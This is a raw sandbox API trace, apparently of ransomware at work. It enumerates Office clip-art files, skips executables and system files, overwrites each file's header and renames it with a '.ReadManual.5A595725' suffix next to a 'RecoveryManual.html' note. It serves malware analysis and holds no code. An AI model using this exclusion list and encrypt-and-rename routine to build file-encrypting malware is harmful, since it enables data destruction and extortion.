1 [0262.583] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e8) returned 0x2f0000 [0262.583] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38325162101) returned 1 [0262.583] CloseHandle (hObject=0x184) returned 1 [0262.583] SetSecurityInfo () returned 0x57 [0262.583] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.583] CloseHandle (hObject=0x194) returned 1 [0262.584] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0262.584] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01180_.WMF" | out: lpString1="DD01180_.WMF") returned="DD01180_.WMF" [0262.584] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.584] StrStrIW (lpFirst="DD01180_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.584] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.584] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.584] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" [0262.585] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ReadManual.5A595725" [0262.585] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ReadManual.5A595725") returned 87 [0262.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38325340222) returned 1 [0262.585] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0262.585] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.585] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2084) returned 1 [0262.585] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x824, lpName=0x0) returned 0x184 [0262.585] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.586] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.586] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.588] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.588] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x824) returned 0x2f0000 [0262.588] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38325696614) returned 1 [0262.588] CloseHandle (hObject=0x184) returned 1 [0262.588] SetSecurityInfo () returned 0x57 [0262.588] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.588] CloseHandle (hObject=0x194) returned 1 [0262.589] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0262.589] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01181_.WMF" | out: lpString1="DD01181_.WMF") returned="DD01181_.WMF" [0262.589] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.589] StrStrIW (lpFirst="DD01181_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.589] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.590] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.590] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" [0262.590] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ReadManual.5A595725" [0262.590] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ReadManual.5A595725") returned 87 [0262.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38325882307) returned 1 [0262.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0262.591] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.591] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1448) returned 1 [0262.591] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a8, lpName=0x0) returned 0x184 [0262.591] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.592] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.592] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.593] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.594] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a8) returned 0x2f0000 [0262.594] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.594] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38326262418) returned 1 [0262.594] CloseHandle (hObject=0x184) returned 1 [0262.594] SetSecurityInfo () returned 0x57 [0262.594] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.594] CloseHandle (hObject=0x194) returned 1 [0262.595] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0262.595] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01182_.WMF" | out: lpString1="DD01182_.WMF") returned="DD01182_.WMF" [0262.595] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.595] StrStrIW (lpFirst="DD01182_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.595] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.595] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.596] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.596] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.596] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.596] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.596] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" [0262.596] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ReadManual.5A595725" [0262.596] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ReadManual.5A595725") returned 87 [0262.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38326452782) returned 1 [0262.596] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0262.596] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.596] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2996) returned 1 [0262.596] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb4, lpName=0x0) returned 0x184 [0262.596] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.597] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.597] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.599] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.599] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb4) returned 0x2f0000 [0262.599] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38326770287) returned 1 [0262.599] CloseHandle (hObject=0x184) returned 1 [0262.599] SetSecurityInfo () returned 0x57 [0262.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.599] CloseHandle (hObject=0x194) returned 1 [0262.600] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0262.600] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01183_.WMF" | out: lpString1="DD01183_.WMF") returned="DD01183_.WMF" [0262.600] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.600] StrStrIW (lpFirst="DD01183_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.601] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.601] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.601] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" [0262.601] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ReadManual.5A595725" [0262.601] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ReadManual.5A595725") returned 87 [0262.601] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38326989446) returned 1 [0262.601] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0262.601] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.602] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2296) returned 1 [0262.602] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f8, lpName=0x0) returned 0x184 [0262.602] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.602] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.602] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.604] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.604] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f8) returned 0x2f0000 [0262.604] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.605] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38327334735) returned 1 [0262.605] CloseHandle (hObject=0x184) returned 1 [0262.605] SetSecurityInfo () returned 0x57 [0262.605] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.605] CloseHandle (hObject=0x194) returned 1 [0262.605] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0262.606] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01186_.WMF" | out: lpString1="DD01186_.WMF") returned="DD01186_.WMF" [0262.606] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.606] StrStrIW (lpFirst="DD01186_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.606] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.606] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.606] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" [0262.606] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ReadManual.5A595725" [0262.606] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ReadManual.5A595725") returned 87 [0262.606] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38327497603) returned 1 [0262.606] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0262.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.607] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8564) returned 1 [0262.607] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2174, lpName=0x0) returned 0x184 [0262.607] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.608] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.608] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.609] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.610] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2174) returned 0x2f0000 [0262.610] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.610] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38327867122) returned 1 [0262.610] CloseHandle (hObject=0x184) returned 1 [0262.610] SetSecurityInfo () returned 0x57 [0262.610] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.610] CloseHandle (hObject=0x194) returned 1 [0262.612] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0262.612] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01366_.WMF" | out: lpString1="DD01366_.WMF") returned="DD01366_.WMF" [0262.612] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.612] StrStrIW (lpFirst="DD01366_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.612] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="dll") returned 1 